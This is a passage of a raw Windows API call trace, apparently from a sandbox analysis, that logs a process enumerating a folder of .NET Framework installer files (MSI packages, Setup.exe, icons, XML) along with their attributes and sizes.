hHeap=0x2b10000) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0044.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbe10 [0044.200] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.201] FindNextFileW (in: hFindFile=0x10dbe10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0044.201] FindClose (in: hFindFile=0x10dbe10 | out: hFindFile=0x10dbe10) returned 1 [0044.201] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.201] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0044.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbf50 [0044.301] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.313] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0044.313] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0044.314] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0044.315] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0044.315] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0044.315] FindNextFileW (in: hFindFile=0x10dbf50, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0044.319] FindClose (in: hFindFile=0x10dbf50 | out: hFindFile=0x10dbf50) returned 1 [0044.320] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.320] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0044.320] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0044.320] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0044.324] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 